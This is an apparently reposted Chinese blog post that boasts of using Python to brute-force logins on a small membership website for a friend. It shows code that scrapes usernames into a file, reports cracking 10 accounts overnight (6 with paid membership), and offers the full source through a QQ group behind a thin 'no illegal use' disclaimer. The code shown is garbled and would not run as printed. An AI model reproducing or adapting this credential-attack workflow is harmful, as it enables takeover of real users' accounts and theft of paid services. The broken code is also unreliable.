Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
暑假在家上网,qq群里一位好友给我说他想要某个网站的会员,ps(是个小网站),本着助人为乐的精神我去踩了点。。。
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
只要用户名和密码不同,其他的不变
python 模拟登录
这部分就比较简单,用到requests模块
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
得到用户名
这部分主要用到正则模块匹配就行了
import reimport requestsdef gethtml(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Referer': 'http://XXXXXX.com/%e7%99%bb%e5%bd%95?loggedout=true' } html = requests.get(url, headers=headers) return html.textfor i in range(30,36): if i == 1: url = 'http:/XXXXXX.com/' else: url = 'http://XXXXXXX.com/page/' + str(i) html = gethtml(url) for each in re.findall('(.*?):', gethtml(each)): if 'href' in each2: each2 = re.findall("class='url'>(.*?)", each2)[0] f = open('yonghu.txt','a+',encoding='utf-8') f.write(each2) f.write(' ') f.close() print(each2)
得到用户名保存在yonghu.txt文件里
开始爆破
本来想加上多线程,但因为网站太垃圾了,访问过快会限制,那就算了吧。。。
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
运行效果图
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
收获
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
放在服务器上跑了一晚,爆出来10个账号,其中6个充值了会员,美吱吱
Python有多叼?随便就能爆破一个会员网站!请勿用于非法用途!
进群:125240963 即可获取源码
阅读(1277) 评论(0)